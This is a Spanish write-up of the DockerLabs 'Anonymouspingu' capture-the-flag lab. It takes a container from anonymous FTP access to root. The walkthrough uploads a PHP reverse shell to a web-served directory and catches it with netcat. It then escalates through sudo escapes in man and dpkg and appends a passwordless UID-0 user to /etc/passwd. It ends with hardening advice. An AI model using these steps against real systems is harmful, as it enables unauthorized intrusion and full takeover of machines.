> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/anonymouspingu.md).

# Anonymouspingu

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux aprovechando acceso anonimo por FTP y una mala configuracion de permisos `sudo`.

El objetivo es conseguir acceso inicial mediante una reverse shell subida al servidor web y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.3
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-1308c02b522d83a3cbe8c23bc92aefd32a744bf5%2F2026-05-04-19-19-37.png?alt=media)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version             |
| ------ | -------- | ------------------- |
| 21/tcp | FTP      | vsftpd 3.0.5        |
| 80/tcp | HTTP     | Apache httpd 2.4.58 |

***

## Enumeracion web

Al acceder al puerto 80 se observa una web corporativa sencilla llamada `Heustonn`.

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-9cdc5c52e3539104647e4d61a202991b89a3f2ce%2F2026-05-04-20-04-44.png?alt=media)

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.3:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8311d90ac6d5ffa1639d350f68bb85408a36acf0%2F2026-05-04-20-07-58.png?alt=media)

Recursos interesantes encontrados:

| Recurso         | Codigo | Comentario             |
| --------------- | ------ | ---------------------- |
| `/index.html`   | 200    | Pagina principal       |
| `/about.html`   | 200    | Pagina informativa     |
| `/contact.html` | 200    | Pagina de contacto     |
| `/service.html` | 200    | Pagina de servicios    |
| `/upload/`      | 301    | Directorio interesante |
| `/images/`      | 301    | Directorio de imagenes |
| `/css/`         | 301    | Directorio de estilos  |
| `/js/`          | 301    | Directorio JavaScript  |

***

## Acceso FTP anonimo

Como el puerto 21 esta abierto, se prueba acceso anonimo por FTP:

```bash
ftp 172.17.0.3
```

Usuario:

```
anonymous
```

![FTP anonymous](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-57b6c346846cedc239f52859b790b2b65dad3e6d%2F2026-05-04-20-09-59.png?alt=media)

El login anonimo funciona correctamente.

Dentro del FTP se observa que existe un directorio `upload` con permisos de escritura.

![FTP upload](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c8327dd36eb647fdf5bee9779dff5b8903ac029d%2F2026-05-04-20-11-01.png?alt=media)

***

## Subida de reverse shell

Se prepara una reverse shell en PHP apuntando a la IP atacante `172.17.0.1` y al puerto `4444`.

![Reverse shell PHP](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-01ac32ece4402da8308e72e97d9812eac8ca71dc%2F2026-05-04-20-11-11.png?alt=media)

Desde FTP se sube el archivo `shell.php` al directorio `upload`:

```bash
cd upload
put shell.php
```

![Subida por FTP](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c8327dd36eb647fdf5bee9779dff5b8903ac029d%2F2026-05-04-20-11-01.png?alt=media)

Al acceder al directorio desde el navegador se confirma que el archivo queda publicado en la web:

```
http://172.17.0.3/upload/shell.php
```

![Index upload](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ba43565a1ecb101f11f369da6f3534990effb0e8%2F2026-05-04-20-11-27.png?alt=media)

***

## Acceso inicial

Antes de ejecutar el payload, se deja un listener con Netcat:

```bash
nc -lvnp 4444
```

Se accede a `shell.php` desde el navegador y se recibe una conexion como `www-data`.

![Reverse shell www-data](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0ea5e5ca63585332b095a21f7735abcd01b70453%2F2026-05-04-20-11-49.png?alt=media)

***

## Escalada a usuario pingu

Se comprueban los privilegios sudo de `www-data`:

```bash
sudo -l
```

![sudo -l www-data](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-41c7069ae75535a8e26ca5a88a449e63a64acb21%2F2026-05-04-20-13-26.png?alt=media)

El usuario `www-data` puede ejecutar `/usr/bin/man` como `pingu` sin password:

```
(pingu) NOPASSWD: /usr/bin/man
```

En GTFOBins se comprueba que `man` hereda funciones de `less`, lo que permite invocar una shell.

![GTFOBins man](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-404d850c8e676474186aa0c2a2f2e057b595306c%2F2026-05-04-20-13-19.png?alt=media)

Se ejecuta `man` como `pingu` y desde el visor se lanza una shell:

```bash
sudo -u pingu /usr/bin/man man
!/bin/bash
```

![Shell pingu](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f09816df4731a24c95288532cc649327ce5255bc%2F2026-05-04-20-21-24.png?alt=media)

Se obtiene una shell como `pingu`.

***

## Escalada a usuario gladys

Se revisan los permisos sudo del usuario `pingu`:

```bash
sudo -l
```

![sudo -l pingu](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-69197f6b2a354d988a0c1d8a53174cd44f05f4da%2F2026-05-04-20-21-40.png?alt=media)

El usuario `pingu` puede ejecutar como `gladys`:

```
/usr/bin/nmap
/usr/bin/dpkg
```

`dpkg` tambien hereda funciones de `less`, por lo que se puede abusar para conseguir una shell como `gladys`.

![GTFOBins dpkg](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-2a3cba79816e85c77a4de1517bae8de6e0f2d1a6%2F2026-05-04-20-20-37.png?alt=media)

Se ejecuta:

```bash
sudo -u gladys /usr/bin/dpkg -l
!/bin/bash
```

![Shell gladys](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a2144e7761e7e0868a51fae4eb90756c6c5bcea4%2F2026-05-04-20-23-36.png?alt=media)

Se obtiene una shell como `gladys`.

***

## Escalada a root

El usuario `gladys` puede abusar de `chown` para cambiar el propietario de `/etc/passwd`.

```bash
sudo chown $(id -un):$(id -gn) /etc/passwd
ls -la /etc/passwd
```

![chown passwd](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3903685e78aeaec182204b1e61ab42aa42f71b93%2F2026-05-04-20-23-44.png?alt=media)

Una vez que `gladys` puede modificar `/etc/passwd`, se anade un usuario con UID 0 y shell `/bin/bash`:

```bash
echo "alberto::0:0:root:/root:/bin/bash" >> /etc/passwd
```

Despues se cambia a ese usuario:

```bash
su alberto
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b901a0e5e12e93fbe86d63143a5d6094435fda57%2F2026-05-04-20-28-09.png?alt=media)

Se obtiene una shell con privilegios de `root`.

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* FTP anonimo habilitado
* Directorio `upload` escribible y servido por Apache
* Ejecucion de PHP en el directorio de subida
* Reglas `sudo` inseguras para `man`, `dpkg` y `chown`
* Posibilidad de modificar `/etc/passwd`

### Puntos clave

| Fase            | Tecnica                           | Resultado                   |
| --------------- | --------------------------------- | --------------------------- |
| Reconocimiento  | Nmap                              | FTP y HTTP expuestos        |
| Enumeracion web | Gobuster                          | Descubrimiento de `/upload` |
| Acceso inicial  | FTP anonymous + PHP reverse shell | Shell como `www-data`       |
| Escalada 1      | `sudo -u pingu man`               | Shell como `pingu`          |
| Escalada 2      | `sudo -u gladys dpkg -l`          | Shell como `gladys`         |
| Escalada final  | `chown /etc/passwd`               | Usuario UID 0 y root        |

### Recomendaciones

* Deshabilitar acceso anonimo por FTP si no es estrictamente necesario
* No permitir escritura en directorios servidos directamente por Apache
* Impedir ejecucion de PHP en directorios de subida
* Revisar cuidadosamente reglas `NOPASSWD` en `sudoers`
* No permitir binarios interactivos o capaces de modificar archivos criticos con privilegios elevados
